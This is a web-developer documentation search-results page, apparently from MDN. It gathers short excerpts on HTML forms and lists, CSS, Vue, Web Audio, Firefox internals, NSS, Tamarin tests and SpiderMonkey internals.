...ures separately, then get out of the table again to carry on navigating the content. table layouts are a relic of the past — they made sense back when css support was not widespread in browsers, but now they just create confusion for screen reader users. additionally, their source code requires more markup, which makes them less flexible and more difficult to maintain. ...
...And 9 more matches
Client-side form validation - Learn web development
this is called client-side form validation, and helps ensure data submitted matches the requirements set forth in the various form controls. this article leads you through basic concepts and examples of client-side form validation. prerequisites: computer literacy, a reasonable understanding of html, css, and javascript. objective: to understand what client-side form validation is, why it's important, and how to apply various techniques to implement it. ...
...r-side validation. in this chapter we are focusing on client-side validation. if the information is correctly formatted, the application allows the data to be submitted to the server and (usually) saved in a database; if the information isn't correctly formatted, it gives the user an error message explaining what needs to be corrected, and lets them try again. we want to make filling out web forms as easy as possible. so why do we insist on validating our forms? there are three main reasons: we want to get the right data, in the right format. our applications won't work properly if our users' data is stored in the wrong format, is incorrect, or is omitted altogether. we want to protect our users' data. forcing our users to enter secure passwords makes it easier to protect their account...
...et the right data, in the right format. our applications won't work properly if our users' data is stored in the wrong format, is incorrect, or is omitted altogether. we want to protect our users' data. forcing our users to enter secure passwords makes it easier to protect their account information. we want to protect ourselves. there are many ways that malicious users can misuse unprotected forms to damage the application (see website security). warning: never trust data passed to your server from the client. even if your form is validating correctly and preventing malformed input on the client-side, a malicious user can still alter the network request. different types of client-side validation there are two different types of client-side validation that you'll encounter on the...
...And 9 more matches
Rendering a list of Vue components - Learn web development
re. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to learn how to loop through an array of data and render it in multiple components. rendering lists with v-for to be an effective to-do list, we need to be able to render multiple to-do items. ...
... multiple components. rendering lists with v-for to be an effective to-do list, we need to be able to render multiple to-do items. to do that, vue has a special directive, v-for. this is a built-in vue directive that lets us include a loop inside of our template, repeating the rendering of a template feature for each item in an array. we'll use this to iterate through an array of to-do items and display them in our app in separate todoitem components. adding some data to render first we need to get an array of to-do items. to do that, we’ll add a data property to the app.vue component object, containing a todoitems field whose value is an array of todo items. while we'll eventually add a mechanism to add new todo items, we can start with some mock to do items. each to-do item wil...
... first we need to get an array of to-do items. to do that, we’ll add a data property to the app.vue component object, containing a todoitems field whose value is an array of todo items. while we'll eventually add a mechanism to add new todo items, we can start with some mock to do items. each to-do item will be represented by an object with a name and a done property. add a few sample to-do items, along the lines of those seen below. this way you have some data available for rendering using v-for. ...
...And 9 more matches
Software accessibility: Where are we today?
the accessibility of computer software has seen drastic improvements over the past two decades. this article reviews the progress and technology as it has developed. where are we today? up until this point, the largest driving force behind desktop computing environments has been microsoft, first with ms dos, followed by variants of microsoft windows. these operating systems were not designed with the needs of people with disabilities in mind. many, including those who were blind or physically disabled, were unable to use applications which were written for microsoft operating systems. these applications assumed that computer users could: read and react to text and images displayed on the screen. type on a standard keyboard. select text, pictures, and other information using a ...
... computer users could: read and react to text and images displayed on the screen. type on a standard keyboard. select text, pictures, and other information using a mouse react to sounds played. this tends to be somewhat less of a limitation in that most software doesn't rely exclusively on audio to relay feedback. if a person was unable to do one of the above-listed tasks, they found themselves unable to use many popular computer applications. here are some of the groups of people that have problems doing some of those tasks: print disabled: blind, deaf-blind, low vision, obstructed vision, dyslexic, cognitively disabled and illiterate individuals. physically disabled: users have amputations, paralysis, repetitive stress, cerebral palsy, muscular dystrophy, parkinson's or othe...
...able to use many popular computer applications. here are some of the groups of people that have problems doing some of those tasks: print disabled: blind, deaf-blind, low vision, obstructed vision, dyslexic, cognitively disabled and illiterate individuals. physically disabled: users have amputations, paralysis, repetitive stress, cerebral palsy, muscular dystrophy, parkinson's or other problems limiting mobility. hearing impaired we must also consider the increasing numbers of aging baby boomers that are beginning to experience problems with their sight, vision or dexterity. when you add all these groups of people together, that's a lot of potential users! in answer to this problem, many small accessibility hardware and software vendors created products and software which helped peop...
...And 9 more matches
Displaying Places information using views
he element; use the element's place property instead. see querying places and places query uris for information on query uris. the following example uses the built-in tree view to display bookmarks whose titles or urls contain "mozilla". remember that, because xul is xml, any ampersands in query uris must be written as entity reference &amp; and not simply &. <tree type="places" place="place:terms=mozilla&amp;onlybookmarked=1&amp;querytype=1"> <treecols> <treecol id="title" label="my bookmarks" flex="1" primary="true" /> </treecols> <treechildren /> </tree> the next example does the same as the last but uses javascript to set the tree's place attribute: var histserv = cc["@mozilla.org/browser/nav-history-service;1"]. getservice(ci.nsinavhistoryservice); var query = histse...
...;querytype=1"> <treecols> <treecol id="title" label="my bookmarks" flex="1" primary="true" /> </treecols> <treechildren /> </tree> the next example does the same as the last but uses javascript to set the tree's place attribute: var histserv = cc["@mozilla.org/browser/nav-history-service;1"]. getservice(ci.nsinavhistoryservice); var query = histserv.getnewquery(); query.searchterms = "mozilla"; query.onlybookmarked = true; var opts = histserv.getnewqueryoptions(); opts.querytype = opts.query_type_bookmarks; var uri = histserv.queriestoquerystring([query], 1, opts); var tree = document.getelementbyid("mytree"); tree.place = uri; these two examples use the built-in tree view, but the point is to demonstrate the use of the place attribute and property. in this regard the bu...
... the built-in menu and toolbar views are no different. when a view's underlying data changes, the view will automatically update itself so that it displays the new data. this update is handled by logic between the view and its results. all places views implement or own an instance of interface nsinavhistoryresultviewer, which is the point of interaction between a view and its results. results themselves observe places changes, and if on a places change a result determines that its data specifically has changed, it notifies its view by calling an appropriate method of nsinavhistoryresultviewer. once notified, the view is responsible for updating itself. note: starting in gecko 2.0, nsinavhistoryresultviewer has been replaced by the more powerful nsinavhistoryresultobserver. tree view cr...
...And 9 more matches
Performance best practices for Firefox front-end engineers
always keep in mind the side effects your changes may have, from blocking other tasks, to interfering with other user interface elements. avoid the main thread where possible the main thread is where we process user events and do painting. it's also important to note that most of our javascript runs on the main thread, so it's easy for script to cause delays in event processing or painting. ...
...nt, the cost of doing these style calculations is proportional to the number of dom nodes in the document (and the number of styles being applied). it is expected that over time, script will update the dom, requiring us to recalculate styles. normally, the changes to the dom just result in the standard style calculation occurring immediately after the javascript has finished running during the 16ms window, inside the "style" step. that's the ideal scenario. however, it's possible for script to do things that force multiple style calculations (or style flushes) to occur synchronously during the javascript part of the 16 ms window. the more of them there are, the more likely they'll exceed the 16ms frame budget. if that happens, some of them will be postponed until the next frame (or possibl...
... window binding to make this simpler. if you want to queue up some javascript to run after the next "natural" style and layout flush, try: // suppose we want to get the computed "display" style of some node without // causing a style flush. we could do it this way: async function nodeisdisplaynone(node) { let display = await window.promisedocumentflushed(() => { // do _not_ under any circumstances write to the dom in one of these // callbacks! return window.getcomputedstyle(node).display; }); return display == "none"; } see detecting and avoiding synchronous reflow for a more advanced example of getting layout information, and then setting it safely, without causing flushes. promisedocumentflushed is only available to priviledged script, and should be called on the ...
...And 9 more matches
Python binding for NSS
ating system services but because nss and nspr are tightly bound python-nss exposes elements of nspr. for information on nss and nspr, see the following: network security services (nss). nss project page. netscape portable runtime. nspr project page. nspr reference. nspr api documentation. design goals nss and nspr are c language api's which python-nss "wraps" and exposes to python programs. the design of python-nss follows these basic guiding principles: be a thin layer with almost a one-to-one mapping of nss/nspr calls to python methods and functions. programmers already familiar with nss/nspr will be quite comfortable with python-nss. be "pythonic". the term pythonic means to follow accepted python paradigms and idoms in the python language and libraries. thus when deciding i...
... identifer names follow the preferred python style instead of the style in the nss/nspr c header files. classes are camel-case. ...
...hon, rather they want their python code to feel like python code with the richness of full python. identifer names follow the preferred python style instead of the style in the nss/nspr c header files. classes are camel-case. class names always begin with a upper case letter and are then followed by a mix of lower and upper case letters, a upper case letter is used to separate words. acronyms always appear as a contiguous string of upper case letters. method, function and property names are always lower case with words seperated by underscores. constants are all upper case with words seperated by underscores, they match the nss/nspr c api. every module, class, function, and method has associated documentation and is exposed via the standard python methodology. this documen...
...And 9 more matches
AT APIs Support
accessible gecko gecko is a rendering engine that firefox, seamonkey, netscape and yelp use. ...
... accessible gecko gecko is a rendering engine that firefox, seamonkey, netscape and yelp use. gecko can render a variety of content, not just html and supports key web standards such as cascading style sheets, javascript and the w3c dom. ...
...s xul applications make full use of the gecko architecture, not only for html content, but also for the entire user interface. widgets such as menus, tab panels, tree views and dialogs are provided via an xml language called xul (extensible user-interface language). none of the user interface contains standard os controls. this is done to ensure a common look and feel across all supported platforms, and to allow for different skins (appearances). developing a xul window is not that different from developing a web page, but the elements available to add widgets are more powerful and designed to be similar to desktop widgets. examples of xul applications: firefox - web-browser thunderbird - email client seamonkey - web-browser, advanced e-mail and newsgroup client, irc chat client, and ...
...And 9 more matches
nsIDocShell
ird 12.0 / seamonkey 2.9) implemented by @mozilla.org/docshell;1. do not create an instance directly. instead, retrieve an nsidocshell from a browser or other document container element. note that out-of-process browsers do not have an nsidocshell; instead you can access the nsidocshell object from a frame script. ...
... not create an instance directly. instead, retrieve an nsidocshell from a browser or other document container element. note that out-of-process browsers do not have an nsidocshell; instead you can access the nsidocshell object from a frame script. ...
...ce directly. instead, retrieve an nsidocshell from a browser or other document container element. note that out-of-process browsers do not have an nsidocshell; instead you can access the nsidocshell object from a frame script. ...
...And 9 more matches
IDBKeyRange - Web APIs
tion adds includes(). browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support yesboundchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... opera full support 39safari...
...And 9 more matches
Example and tutorial: Simple synth keyboard - Web APIs
this example makes use of the following web api interfaces: audiocontext, oscillatornode, periodicwave, and gainnode. because oscillatornode is based on audioscheduledsourcenode, this is to some extent an example for that as well. the video keyboard html there are three primary components to the display for our virtual keyboard. ...
...re each key as we determine the appropriate data for the corresponding note. in our case, we get each key's frequency from a table, but it could be calculated algorithmically as well. <div class="container"> <div class="keyboard"></div> </div> the <div> named "container" is the scrollable box that lets the keyboard be scrolled horiontally if it's too wide for the available space. the keys themselves will be inserted into the block of class "keyboard". the settings bar beneath the keyboard, we'll put some controls for configuring the layer. for now, we will have two controls: one to set the master volume and another to select what periodic waveform to use when generating notes. the volume control first we create the <div> to contain the settings bar, so it can be styled as needed. th...
...case, the data set is named "volume". this lets us provide a set of common values and special strings which the browser may optionally choose to display in some fashion; we provide names for the values 0.0 ("mute") and 1.0 ("100%"). the waveform picker on the right side of the settings bar, we place a label and a <select> element named "waveform" whose options correspond to the available waveforms. <div class="right"> <span>current waveform: </span> <select name="waveform"> <option value="sine">sine</option> <option value="square" selected>square</option> <option value="sawtooth">sawtooth</option> <option value="triangle">triangle</option> <option value="custom">custom</option> </select> </div> </div> css .container { overflow-x: scroll; ...
...And 9 more matches
font-variant-numeric - CSS: Cascading Style Sheets
rs, fractions, and ordinal markers. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ple is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ractive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...And 9 more matches
itemtype - HTML: Hypertext Markup Language
google and other major search engines support the schema.org vocabulary for structured data. this vocabulary defines a standard set of type names and property names. for example, musicevent indicates a concert performance, with startdate and location properties specifying the concert's key details. ...
...ed set of unique tokens which are case-sensitive, each is a valid and absolute url, and all defined to use the same vocabulary. the attribute's value must have at least one token. the item types must all be types defined in applicable specifications (such as schema.org), and must all be defined to use the same vocabulary. the itemtype attribute can only be specified on elements which have an itemscope attribute specified. the itemid attribute can only be specified on elements which have both an itemscope attribute and an itemtype attribute specified. they must only be specified on elements with an itemscope attribute, whose itemtype attribute specifies a vocabulary not supporting global identifiers for items, as defined by that vocabulary's specification. the exact meaning of a global id...
...nd an itemtype attribute specified. they must only be specified on elements with an itemscope attribute, whose itemtype attribute specifies a vocabulary not supporting global identifiers for items, as defined by that vocabulary's specification. the exact meaning of a global identifier is determined by the vocabulary's specification. it is left to such specifications to define whether multiple items of the same global identifier (whether on the same page or different pages) are allowed to exist, and what processing rules for that vocabulary are, with respect to handling the case of multiple items with the same id. ...
...And 9 more matches
<math> - MathML
Web › MathML › Element › math
class, id, style provided for use with stylesheets. dir overall directionality of formulas. ...
...are: display (which has the same effect as display="block") and inline. overflow specifies how an expression behaves if it is too long to fit in the allowed width. possible values are: linebreak (default), scroll, elide, truncate, scale. ...
...) and inline. overflow specifies how an expression behaves if it is too long to fit in the allowed width. possible values are: linebreak (default), scroll, elide, truncate, scale. ...
...And 9 more matches
Digital audio concepts - Web media technologies
for all available channels. the number of frames that comprise a single second of audio varies depending on the sample rate used when recording the sound. since the sample rate corresponds to the number of "slices" a sound wave is divided into for each second of time, it's sometimes thought of as a frequency (in the sense that it's a description of something that repeats periodically, not in terms of actual audio frequency), and the samples per second measurement therefore uses the hertz as its unit. the most common sample rates are: 8000 hz the international g.711 standard for audio used in telephony uses a sample rate of 8000 hz (8 khz). this is enough for human speech to be comprehensible. 44100 hz the 44.1 khz sample rate is used for compact disc (cd) audio. cds provide uncompre...
...of more than 40,000 hz. to provide additional room for a low-pass filter in order to avoid distortion caused by aliasing, an additional 2.05 khz transition band is added to the pre-sampling frequency (resulting in 22,050 hz). doubling that per the nyquist theorem results in a final minimum frequency of (you guessed it) 44.1 khz. high-resolution (96 khz) audio is used in some high-end audio systems, and it and ultra-high resolution (192 khz) audio are useful for audio mastering, where you need as much quality as possible while manipulating and editing the sound before downsampling to the sample rate you will use for the final product. this is similar to how photographers will use high resolution images for editing and compositing before presenting the customer with a jpeg suitable for use o...
...ompression. note: network bandwidth is obviously not the same thing as audio bandwidth, which is discussed in sampling audio, above. audio compression basics unlike text and many other kinds of data, audio data tends to be noisy, meaning the data rarely consists of a series of exactly repeated bytes or byte sequences. as a result, audio data is difficult to compress using traditional algorithms such as those used by generral-purpose tools like zip, which usually work by replacing repeating sequences of data with a shorthand representation. there are several techniques which can be applied when compressing audio. most codecs use a combination of these, and may use other techniques as well. the simplest thing you can do is to apply a filter that removes hiss and quiet sounds, converting...
...And 9 more matches
Adding menus and submenus - Archive of obsolete content
may have imagined, you can nest submenus as deep as you want. you should avoid having deep menus or too many options, since they are confusing for most users. if your extension requires custom xul windows, you may also need to have menus on those windows. you can do this with a menubar. the menubar element should be a child of a toolbox element because it is treated like another toolbar on systems other than mac os x. mac os x treats menus in a very different way than other systems. if your extension involves menus in any way, you should test it on mac os x to make sure everything works adequately. the toolbox should be positioned near the top of the xul document, and the code should be similar to this: <toolbox> <menubar id="xulschoolhello-menubar"> <menu id="xulschoolhello-gre...
... you can also have menus that are filled dynamically. instead of setting the menupopup directly in the xul, you can use the onpopupshowing event to fill the children when the popup is about to be displayed. dom functions like createelement and...
... you can also have menus that are filled dynamically. ...
...And 8 more matches
Running Tamarin acceptance tests - Archive of obsolete content
the tamarin acceptance tests can be used to verify your installation and or local changes that you have made to the source. to run acceptance tests on the android shell see the "testing the android shell" heading below. running the tamarin test suite requires the following steps: set the avm environment variable to the path of the avmplus executable (avmshell). note: the name of the avmshell executable varies among the build systems; use the name of the avm shell produced from the build process you used, above. set the builtinabc environment variable to the path of the generated/builtin.abc. you may build the .abc files build by downloading the latest asc.jar. the latest asc.jar can be downloaded from from ftp://ftp.mozilla.org/pub/js/tamarin...latest/asc.jar. also the source to asc...
...ove. set the shellabc environment variable to the path of the generated/shell_toplevel.abc. $ cd tamarin-redux/test/acceptance $ export asc=/users/build/hg/tamarin-redux/utils/asc.jar $ export builtinabc=/users/build/hg/tamarin-redux/generated/builtin.abc $ export shellabc=/users/build/hg/tamarin-redux/generated/shell_toplevel.abc $ export avm=/users/build/hg/tamarin-redux/objdir-release/shell/avmshell $ python runtests.py tamarin tests started: 2010-09-28 10:37:06.410676 current configuration: x64-mac-tvm-release avm version: 5260:6d1899261bac executing 2532 tests against vm: /users/build/hg/builds/5260-6d1899261bac/mac/avmshell_64 2532 running abcasm/abs_helper.as skipping... reason: 2531 running abcasm/adhoc.abs skipping... reason: inconsistencies in different debug output, need to i...
...ue to an issue with cygwin python, threading does not work, and threads will always be set to 1. in order to use threading on windows you must install windows python and invoke runtests using that python executable in cygwin. the locations of avm, asc, builtinabc and shellabc must also be defined using windows paths (replace backslashes [\] with forward slashes [/]): export avm=c:/location/of/avmshell.exe export asc=c:/location/of/asc.jar ... c:/python26/python.exe ./runtests.py --threads=3 other flags of interest (for a list of all flags, run runtests.py with -h/--help) --nohtml : will suppress the creation of an html output file --rebuildtests : will only rebuild test .abc's, will not attempt to run them. can also be using in conjunction with --threads -f --forcerebuild force rebuild al...
...And 8 more matches
Anatomy of a video game - Game development
experienced game programmers who are new to web development could also benefit, too. present, accept, interpret, calculate, repeat the goal of every video game is to present the user(s) with a situation, accept their input, interpret those signals into actions, and calculate a new situation resulting from those acts. ...
...returned from our main loop's most recent call to requestanimationframe(). at any point, we can stop the main loop by telling the browser to cancel the request that corresponds to our token. window.cancelanimationframe( mygame.stopmain ); the key to programming a main loop, in javascript, is to attach it to whatever event should be driving your action and pay attention to how the different systems involved interplay. you may have multiple components driven by multiple different types of events. this feels like unnecessary complexity but it might just be good optimization (not necessarily, of course). the problem is that you are not programming a typical main loop. in javascript, you are using the browser's main loop and you are trying to do so effectively. building a more optimized main l...
...ypical main loop. in javascript, you are using the browser's main loop and you are trying to do so effectively. building a more optimized main loop in javascript ultimately, in javascript, the browser is running its own main loop and your code exists in some of its stages. the above sections describe main loops which try not to wrestle away control from the browser. these main methods attach themselves to window.requestanimationframe(), which asks the browser for control over the upcoming frame. it is up to the browser how to relate these requests to their main loop. the w3c spec for requestanimationframe does not really define exactly when the browsers must perform the requestanimationframe callbacks. this can be a benefit because it leaves browser vendors free to experiment with the solu...
...And 8 more matches
CSS and JavaScript accessibility best practices - Learn web development
that you can update the styling of a page feature to fit in your design, but don't change it so much that it no longer looks or behaves as expected. the following sections summarize the main html features to consider. "standard" text content structure headings, paragraphs, lists — the core text content of your page: <h1>heading</h1> <p>paragraph</p> <ul> <li>my list</li> <li>has two items.</li> </ul> some typical css might look like this: h1 { font-size: 5rem; } p, li { line-height: 1.5; font-size: 1.6rem; } you should: select sensible font sizes, line heights, letter spacing, etc. to make your text logical, legible, and comfortable to read. make sure your headings stand out from your body text, typically big and bold like the default styling. your lists should look ...
...ter cursor or the outline — both are very important accessibility aids for those using keyboard controls. form elements elements to allow users to input data into websites: <div> <label for="name">enter your name</label> <input type="text" id="name" name="name"> </div> you can see some good example css in our form-css.html example (see it live also). most of the css you'll write for forms will be for sizing the elements, lining up labels and inputs, and getting them looking neat and tidy. you shouldn't however deviate too much from the expected visual feedback form elements receive when they are focused, which is basically the same as links (see above). you could style form focus/hover states to make this behaviour more consistent across browsers or fit in better with your page d...
...ent rows easier to parse. color and color contrast when choosing a color scheme for your website, make sure that the text (foreground) color contrasts well with the background color. your design might look cool, but it is no good if people with visual impairments like color blindness can't read your content. there is an easy way to check whether your contrast is large enough to not cause problems. there are a number of contrast checking tools online that you can enter your foreground and background colors into, to check them. for example webaim's color contrast checker is simple to use, and provides an explanation of what you need to conform to the wcag criteria around color contrast. note: a high contrast ratio will also allow anyone using a smartphone or tablet with a glossy screen to...
...And 8 more matches
Supporting older browsers - Learn web development
f older technology. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css and styling boxes.) objective: to understand how to provide support for your layouts on older browsers that might not support the features you want to use. what is the browser landscape for your site? every website is different in terms of target audience. before deciding on the approach to take, find out the number of visitors coming to your site using older browsers. this is straightforward if you have an existing website which you are adding to or replacing, as you probably have analytics available which can tell you the technology people are using. if you have no analytics or this is a brand new site, then there are sites su...
...are then overwritten by your grid layout in modern browsers that understand it. in the below example, we have floated three <div>s so they display in a row. any browser that does not support css grid layout will see the row of boxes as a floated layout. a floated item that becomes a grid item loses the float behaviour, which means that by turning the wrapper into a grid container, the floated items become grid items. if the browser supports grid layout it will display the grid view, if not it ignores the display: grid and related properties and the floated layout is used. * {box-sizing: border-box;} .wrapper { background-color: rgb(79,185,227); padding: 10px; max-width: 400px; display: grid; grid-template-columns: 1fr 1fr 1fr; } .item { float: left; border-radius: 5px; b...
... a layout with a cleared footer, which is then turned into a grid layout. fallback methods there are a number of layout methods which can be used in a similar way to this float example. you can choose the one that makes the most sense for the layout pattern you need to create. ...
...And 8 more matches
Styling lists - Learn web development
the <dl> element has a top and bottom margin of 16px (1em), but no padding set. the <dd> elements have margin-left of 40px (2.5em.) the <p> elements we've included for reference have a top and bottom margin of 16px (1em), the same as the different list types. handling list spacing when styling lists, you need to adjust their styles so they k...
...hese are inherited by everything on the page. rules 2 and 3 set relative font sizes for the headings, different list types (the children of the list elements inherit these), and paragraphs. this means that each paragraph and list will have the same font size and top and bottom spacing, helping to keep the vertical rhythm consistent. ...
...nd top and bottom spacing, helping to keep the vertical rhythm consistent. rule 4 sets the same line-height on the paragraphs and list items — so the paragraphs and each individual list item will have the same spacing between lines. this will also help to keep the vertical rhythm consistent. rules 5 and 6 apply to the description list — we set the same line-height on the description list terms and descriptions as we did with the paragraphs and list items. again, consistency is good! we also make the description terms have bold font, so they visually stand out easier. list-specific styles now we've looked at general spacing techniques for lists, let's explore some list-specific properties. there are three properties you should know about to start with, which can be set on <ul> or <o...
...And 8 more matches
Basic native form controls - Learn web development
next we will look at the functionality of the different form controls, or widgets, in detail — studying all the different options available to collect different types of data. in this particular article we will look at the original set of form controls, available in all browsers since the early days of the web. prerequisites: basic computer literacy, and a basic understanding of html. ...
... checkbox, file, hidden, image, password, radio, reset, submit, and text. some of the attributes that are common to all form controls. note: the features discussed in this article are supported in all browsers, which is not the case for all form controls. we cover newer form controls added in html5 in the next two articles. if you want a more advanced reference, you should consult our html forms element reference, and in particular our extensive <input> types reference. text input fields text <input> fields are the most basic form widgets. they are a very convenient way to let the user enter any kind of data, and we've already seen a few simple examples. note: html form text fields are simple plain text input controls. this means that you cannot use them to perform rich editing (bol...
...d be used to briefly describe the purpose of the box. they can be constrained in size (the physical size of the box) and maxlength (the maximum number of characters that can be entered into the box). they can benefit from spell checking (using the spellcheck attribute), if the browser supports it. note: the <input> element is unique amongst html elements because it can take many different forms depending on its type attribute value. it is used for creating most types of form widgets including single line text fields, time and date controls, controls without text input like checkboxes, radio buttons, and color pickers, and buttons. single line text fields a single line text field is created using an <input> element whose type attribute value is set to text, or by omitting the type at...
...And 8 more matches
Advanced text formatting - Learn web development
red in html text fundamentals. objective: to learn how to use lesser-known html elements to mark up advanced semantic features. description lists in html text fundamentals, we walked through how to mark up basic lists in html, but we didn't mention the third type of list you'll occasionally come across — description lists. ...
...: to learn how to use lesser-known html elements to mark up advanced semantic features. description lists in html text fundamentals, we walked through how to mark up basic lists in html, but we didn't mention the third type of list you'll occasionally come across — description lists. the purpose of these lists is to mark up a set of items and their associated descriptions, such as terms and definitions, or questions and answers. ...
...res. description lists in html text fundamentals, we walked through how to mark up basic lists in html, but we didn't mention the third type of list you'll occasionally come across — description lists. the purpose of these lists is to mark up a set of items and their associated descriptions, such as terms and definitions, or questions and answers. let's look at an example of a set of terms and definitions: soliloquy in drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.) monologue in drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present. aside in drama, where a character shares a comment only with...
...And 8 more matches
Getting started with HTML - Learn web development
it also explains where these fit into html. you will learn how html elements are structured, how a typical html page is structured, and other important basic language features. along the way, there will be an opportunity to play with html too! prerequisites: basic computer literacy, basic software installed, and basic knowledge of working with files. ...
...space above and below. (the spacing is due to default css styling that the browser applies to paragraphs.) note: html5 redefined the element categories: see element content categories. while these definitions are more accurate and less ambiguous than their predecessors, the new definitions are a lot more complicated to understand than block and inline. this article will stay with these two terms. ...
...w. (the spacing is due to default css styling that the browser applies to paragraphs.) note: html5 redefined the element categories: see element content categories. while these definitions are more accurate and less ambiguous than their predecessors, the new definitions are a lot more complicated to understand than block and inline. this article will stay with these two terms. ...
...And 8 more matches
Aprender y obtener ayuda - Learn web development
ffective learning let's move straight on and think about effective learning. different learning methods it is interesting to consider that there are two main ways in which your brain learns things — focused and diffuse learning: focused learning is what you might more traditionally associate with academic subjects. you concentrate deeply on a low-level topic and solving the specific problems that it brings. you are focused on a narrow area. diffuse learning is more to do with high-level thinking around a wider area. you let your mind wander more widely, and seemingly make random connections between different things. this is more the kind of thinking you do while you are in the shower, or during a coffee break. from the studies that neuroscientists have done on brain activity, we h...
...at for concentrating hard on specific subjects, getting into deep problem solving, and improving your mastery of the techniques required — strengthening the neural pathways in your brain where that information is stored. it isn't however very good at getting an understanding of "the big picture", and unlocking new neural pathways when you are trying to understand new subjects or solve new problems that you haven't come across before. for that, you need diffuse thinking. this is the opposite of focus — you let your brain wander around the wider landscape, searching around for connections you didn't have before, touching on new things (or new combinations of things) that you can then focus on later, to strengthen them and start to really understand what they mean. this is why it is usua...
... can start writing out a plan to follow, to achieve your goal. it can be as simple as: "it'll take me 500 hours to learn what i need to know, and i have a year to do it, so if i assume 2 weeks' holiday i'll need to do work on this for 10 hours per week. i am free on evenings and weekends, so i'll plan my time around those." how much time you can spend on this of course depends on what your circumstances are. if you are at school, then you've got way more free time than if you have a job and children to provide for. it is still possible to achieve your goals, but you have to be realistic about how quickly you can do it. if you are doing a university or college course to learn web development, then most of this planning is done for you — lucky you! when you have worked out a weekly sched...
...And 8 more matches
OS.File for the main thread
n) { console.log('rename failed, arejectreason = ', arejectreason) } ) the nooverwrite true is important, as default is false which means if a file in the directory exists already with the same name it will no longer be there after this "rename" operation, which is a "move". example: copy a file the following snippet copies file "oldname.txt" to "newname.txt". on most operating systems, this operation is handled directly by the operating system itself, which makes it as fast as possible. let promise = os.file.copy("oldname.txt", "newname.txt"); this example requires firefox 16 or a more recent version. example: path manipulation the following snippet obtains the path to file "sessionstore.js", contained in the user's profile directory. let sessionstore = os.path.join(os.
...re each write. the default is true, i.e. opening a file for appending. specify append: false to open the file in regular mode. optionsoptional platform-specific options for opening the file. for advanced users only. most users will never have need of these options. to specify options, pass an object that may contain some of the following flags: unixflags (ignored under non-unix platforms) if specified, file opening flags, as per libc function open. if unspecified, build these flags from the contents of mode. you can build these flags from values os.constants.libc.o_*. unixmode (ignored under non-unix platforms) if specified, file creation mode, as per libc function open. if unspecified, files are created with a default mode of 0600 (file is private to the user, the user can r...
... you can build these flags from values os.constants.libc.o_*. unixmode (ignored under non-unix platforms) if specified, file creation mode, as per libc function open. if unspecified, files are created with a default mode of 0600 (file is private to the user, the user can read and write). you can build this mode from values os.constants.libc.s_i*. winshare (ignored under non-windows platforms) if specified, a sharing policy, as per windows function createfile. if unspecified, files are opened with a default sharing policy (file is not protected against being read/written/removed by another process or another use in the same process). ...
...And 8 more matches
NSS_3.12_release_notes.html
org/pub/mozilla.org/security/nss/releases/nss_3_12_rtm/. both debug and optimized builds are provided. go to the subdirectory for your platform, dbg (debug) or opt (optimized), to get the tar.gz or zip file. the tar.gz or zip file expands to an nss-3.12 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin - nss tools and test programs you also need to download the nspr 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, which nss 3.12 requires. nspr 4.7.1 binary distributions are in https://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.7.1/. nss 3.12 libraries have the following versions: sqlite3: 3.3.17 nssckbi: 1.70 softokn3 and freebl3: 3.12.0.3 other nss libraries: 3.12.0.3 new in ...
...h) nss_initwithmerge (see nss.h) pk11_createmergelog (see pk11pub.h) pk11_creategenericobject (see pk11pub.h) pk11_createpbev2algorithmid (see pk11pub.h) pk11_destroymergelog (see pk11pub.h) pk11_generatekeypairwithopflags (see pk11pub.h) pk11_getpbecryptomechanism (see pk11pub.h) pk11_isremovable (see pk11pub.h) pk11_mergetokens (see pk11pub.h) pk11_writerawattribute (see pk11pub.h) seckey_ecparamstobasepointorderlen (see keyhi.h) seckey_ecparamstokeysize (see keyhi.h) secmod_deletemoduleex (see secmod.h) sec_getregisteredhttpclient (see ocsp.h) sec_pkcs5isalgorithmpbealgtag (see secpkcs5.h) vfy_createcontextdirect (see cryptohi.h) vfy_createcontextwithalgorithmid (see cryptohi.h) vfy_verifydatadirect (see cryptohi.h) vfy_verifydatawithalgorithmid (see cryptohi.h) vfy_verifydigestdirect (se...
...policy_flag_explicit cert_policy_flag_no_any cert_enable_ldap_fetch cert_enable_http_fetch new macro in utilrename.h: smime_aes_cbc_128 the nssckbi pkcs #11 module's version changed to 1.70. in pkcs11n.h, all the _netscape_ macros are renamed with _nss_ for example, cko_netscape_crl becomes cko_nss_crl. ...
...And 8 more matches
SpiderMonkey Internals
on request is made. js api users should call js_gc or js_maybegc between script executions or from the operation callback, as often as necessary. because the gc is exact, c/c++ applications must ensure that all live objects, strings, and numbers are gc-reachable. javascript values the type js::value represents a javascript value. the representation is 64 bits and uses nan-boxing on all platforms, although the exact nan-boxing format depends on the platform. nan-boxing is a technique based on the fact that in ieee-754 there are 2**53-2 different bit patterns that all represent nan. hence, we can encode any floating-point value as a c++ double (noting that javascript nan must be represented as one canonical nan format). other values are encoded as a value and a type tag: on x86, arm, an...
...-boxing format depends on the platform. nan-boxing is a technique based on the fact that in ieee-754 there are 2**53-2 different bit patterns that all represent nan. hence, we can encode any floating-point value as a c++ double (noting that javascript nan must be represented as one canonical nan format). other values are encoded as a value and a type tag: on x86, arm, and similar 32-bit platforms, we use what we call "nunboxing", in which non-double values are a 32-bit type tag and a 32-bit payload, which is normally either a pointer or a signed 32-bit integer. there are a few special values: nullvalue(), undefinedvalue(), truevalue() and falsevalue(). on x64 and similar 64-bit platforms, pointers are longer than 32 bits, so we can't use the nunboxing format. instead, we use "punboxing",...
